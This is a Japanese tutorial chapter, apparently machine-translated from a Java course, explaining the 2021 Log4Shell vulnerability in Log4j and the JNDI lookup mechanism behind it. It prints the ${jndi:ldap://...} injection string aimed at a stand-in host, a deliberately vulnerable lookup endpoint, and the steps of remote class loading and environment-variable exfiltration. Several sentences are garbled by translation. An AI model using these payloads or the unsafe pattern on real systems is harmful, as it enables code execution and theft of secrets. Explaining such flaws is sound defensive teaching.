7.1 スキャンダル

そしてもちろん、ごく最近、2021年末に起こった物語について語らないことはできません。

Log4Shell

米国サイバーセキュリティ・インフラ保護庁（CISA）は、この問題はLog4Shell史上最も深刻な脆弱性の1つであると述べた。はい、私たちのお気に入りのライブラリについて話していますlog4j。

私たちの居心地の良い小さなライブラリlog4j と史上最大の脆弱性? 興味をそそられましたか? それから聞いてください。

7.2 災害の規模

Log4Shell重大な脆弱性(コード CVE-2021-44228)の発見は、 2021 年 12 月 9 日に Lunasec セキュリティ専門家によって発表されました。Apache Security Team Java コミュニティの専門家がこの情報を検証し、脆弱な Java ライブラリのリストを公開しました。リストは膨大でした。

Java プロジェクトでライブラリが使用されている場合log4j、それはかなり簡単にハッキングされる可能性があります。また、セキュリティ専門家によると、ほぼすべてのサーバー ソフトウェアが最も一般的な Java ロガーで書かれていることを考慮するとJava、log4jこの脆弱性は企業クラウド環境の 93% に影響を及ぼしました。Amazon AWS、Microsoft Azure、Google Cloud、Cloudflare、iCloud、Minecraft、Steam などが含まれます

さらに、この脆弱性はサーバー ソフトウェアだけでなく、多くの Java アプリケーションやハードウェア メーカーにも影響を及ぼしました。たとえば、Intel は、SDK、サーバー メンテナンス システム、Linux ツールなど、ハッキング可能な 32 個のプログラムのリストを公開しました。

Java university

Nvidia は、DGX サーバーと NetQ ツールについて言及したセキュリティ問題レポートも投稿しました。Apple と Microsoft によって多くのアップデートが緊急リリースされました。

大まかに言えば、学生のブラウザのアドレス バーにある 1 行がロガーによって読み取られると、サーバーに配置されます(多くのサーバーでは、すべてがログに記録されますHTTP-requests)。

コードを分析した結果、この脆弱性は 2013 年からライブラリに存在していたことが判明しましたが、彼らは今になって初めて気づきました。そしてさらに深く掘り始めたとき、彼らは底がまったく見えない深淵を発見しました。

7.3 史上最も深刻な脆弱性

2021 年 12 月に遡ると、米国サイバーセキュリティ・インフラ保護庁 (CISA) は、これは史上最も深刻な脆弱性の 1 つであると述べました。Log4Shell

他の多くの専門家も同様の意見を述べています。この脆弱性については誰もが知っており、あらゆる年齢層のハッカーがすでにこの脆弱性を利用して、個人データを盗んだり、さまざまな組織に対する他の種類の攻撃を行っています。将来的には、大規模なハッキングやデータ漏洩の波が待っています。

災害の規模は、Log4j に関するミームを掲載する別のサイトがあり、毎日新しい写真が追加されるという事実によっても測ることができます。

この問題は長い間私たちにありました。数億とは言わないまでも、数百万のコンピュータ システムに存在するセキュリティ ホール。すべての古いソフトウェアを更新し、少なくともこのライブラリを置き換える必要があります。しかし、ほとんどの場合、ソフトウェアでどのライブラリとどのバージョンが使用されているかさえ誰も知りません。

一般に、コンピュータセキュリティ専門家の給与は大幅に増加すると予想されます。

7.4 脆弱性の性質

脆弱性の本質を理解するには、大規模なサーバー システムがどのように配置されているかを理解する必要があります。多くの場合、このようなサーバー アプリケーションは、異なるサーバー上にある異なるサービスに分割されます。そして、JNDI サービスはそれらの相互作用を支援します。

Java Naming and Directory Interface (JNDI)は、Java APIオブジェクト/サービスを名前で検索します。これらのオブジェクトは、リモート メソッド呼び出し (RMI)、共通オブジェクト リクエスト ブローカー アーキテクチャ (CORBA)、ライトウェイト ディレクトリ アクセス プロトコル (LDAP)、ドメイン ネーム サービス (DNS) などのさまざまなネーミング サービスまたはディレクトリに保存できます。

操作は非常に簡単です。Java API文字列パラメーター (サービス名) を 1 つだけ取るだけの単純なものです。これを使用すると、任意のサービスに連絡して、何かをしたり、データを送信したりするように依頼できます。たとえば、string は、string で指定された${jndi:ldap://example.com/file}this からデータをロードします。URL

パラメータが信頼できないソースからのものである場合、リモート クラスの読み込みやサードパーティのコード実行につながる可能性があります。の場合はどうなるでしょうかLog4j。攻撃者は、被害者の Java アプリケーションを悪意のあるアプリケーションに誘導しrmi/ldap/corba-server、応答として悪意のあるオブジェクトを受け取るだけです。

技術的には、ここでの問題はlog4jライブラリ自体にあるのではなく、 を使用するときのセキュリティ設定にありますJNDI-service。に渡す文字列の種類を常に確認する必要がありますInitialContext.lookup()。

脆弱な例JNDI-applications:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 賢すぎる図書館

で、どこにlog4j聞くの？問題は、開発者ができるだけ快適に作業できるようにしたいと考え、スマート ロギングを追加したということです。仕組みは次のとおりです。

すべては、ログ メッセージによってデータが置換されるテンプレートを設定できるようになったという事実から始まりました。次に例を示します。


log.debug(“User {user} has {count} friends”, user, count);

データ置換のない古いバージョンは次のようになります。


log.debug( “User “+user +” has “+ count +” friends”);

2013 年には、ビュー テンプレートで指定されたスマート プレフィックスの置換もライブラリに追加されました${prefix:name}。たとえば、文字列“${java:version}”は に変換されます«Java version 1.7.0_67»。ああ、なんて便利なんだろう。

認識される式の中には、${jndi:<lookup>}jndi プロトコルの後に検索を指定できるものがありますLDAP。任意のクエリURL-addressを実行し、オブジェクト データとしてロードできますJava。

これはアプローチ全体の標準的な問題ですJDK。オブジェクト、つまり URL の形式で設定できるリンクを自動的に逆シリアル化します。この場合、オブジェクトのデータだけでなく、そのクラスのコードもリモート リソースからロードされます。

ハックは次のようになります。

  • 悪意のあるコードを含むファイルをダウンロードする
  • ファイルにはシリアル化されたものJava an object(およびそのクラス)が含まれています
  • クラスがロード中ですJava-machine
  • 悪意のあるクラスのオブジェクトが作成される
  • オブジェクトのコンストラクターが呼び出されます
  • コンストラクターと静的初期化の両方により、悪意のあるクラス コードが実行される可能性があります。

ログに記録されている行にlog4j次のようなものがあれば${jndi:ldap://example.com/file}、インターネットに接続するときにlog4jそこからデータをダウンロードしますURL-address。攻撃者は、ログに記録された文字列を入力することで、パブリック .NET 上にホストされている悪意のあるコードをダウンロードして実行することができますURL-address。

データの実行が無効になっている場合でも、攻撃者は秘密の環境変数などのデータを に配置することで取得できURL-address、データは置き換えられて攻撃者のサーバーに送信されます。

良いニュースは、この問題がライブラリですぐに修正されたことです。

悪いニュースは、世界中の何百万ものサーバーがまだこのライブラリの古いバージョンを実行していることです...